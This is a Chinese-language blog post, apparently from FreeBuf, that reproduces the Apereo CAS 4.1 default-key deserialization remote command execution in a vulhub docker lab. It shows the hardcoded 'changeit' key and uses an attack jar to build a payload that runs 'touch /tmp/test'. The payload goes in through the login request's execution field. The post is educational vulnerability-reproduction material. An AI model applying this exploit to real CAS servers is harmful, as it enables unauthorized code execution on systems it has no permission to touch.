freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apereo CAS 4.1 反序列化命令执行漏洞复现
2022-05-10 16:44:50
所属地 江苏省

一、准备工作

复现此漏洞需要安装docker,下载安装docker-compose,搭建vulhub靶场,保证攻击机与靶机之间的网络互通;下载Apereo-CAS-Attack利用工具。

二、漏洞介绍

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

参考链接:

三、复现过程

首先启动靶机漏洞环境:

我们cd到vulhub目录下的该漏洞目录

cd vulhub/apereo-cas/4.1-rce/


在此目录下执行命令docker-compose up -d

启动漏洞环境

1652171883_627a246b0393ced8aa974.png!small?1652171883603

提示done后使用攻击机访问http://XXX.XXX.XXX.XXX:8080/cas/login即可查看到登陆页面,xxx为你的靶机IP,我的是http://192.168.192.130:8080/cas/login

1652171832_627a2438efb035d69a7ed.png!small?1652171833632

漏洞原理实际上是Webflow中使用了默认密钥changeit:


public class EncryptedTranscoder implements Transcoder {

private CipherBean cipherBean;

private boolean compression = true;


public EncryptedTranscoder() throws IOException {

BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();

bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));

bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());

bufferedBlockCipherBean.setKeyAlias("aes128");

bufferedBlockCipherBean.setKeyPassword("changeit");

bufferedBlockCipherBean.setNonce(new RBGNonce());

this.setCipherBean(bufferedBlockCipherBean);

}


// ...


我们使用Apereo-CAS-Attack来复现。


java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "要执行的命令"

为了回显明显,我这里使用的是touch命令在docker容器下的temp目录生成一个名为test的文件。

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/test"

1652171919_627a248f6b5314d860c03.png!small?1652171920752

然后我们回到靶机登录页面,输入信息点击登陆抓包,替换Body中的execution值替换成上面生成的Payload后send

1652171986_627a24d23febf0233eaca.png!small?1652171987203

由于是实验环境,我们可以登录到服务器,然后进入docker容器查看文件是否创建,命令执行结果

我自己docker用的就不熟,所以这里也把进入容器的方法贴一下:

首先使用docker ps命令找到我们容器的ID

1652172025_627a24f92f07c3d724efe.png!small?1652172025750

然后再使用docker exec -it 容器ID  /bin/bash  的命令就可以进到容器内部了

1652172032_627a25007652f84c13f7d.png!small?1652172033125

docker容器的退出方法:

第一种:Ctrl + d 退出并停止容器;

第二种:Ctrl + p + q 退出并在后台运行容器;


进入后我们cd到/tmp目录下

执行成功:1652172047_627a250f85e271d02bf8f.png!small?1652172048122


# 渗透测试 # 复现 # 漏洞复现 # 漏洞复现环境
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录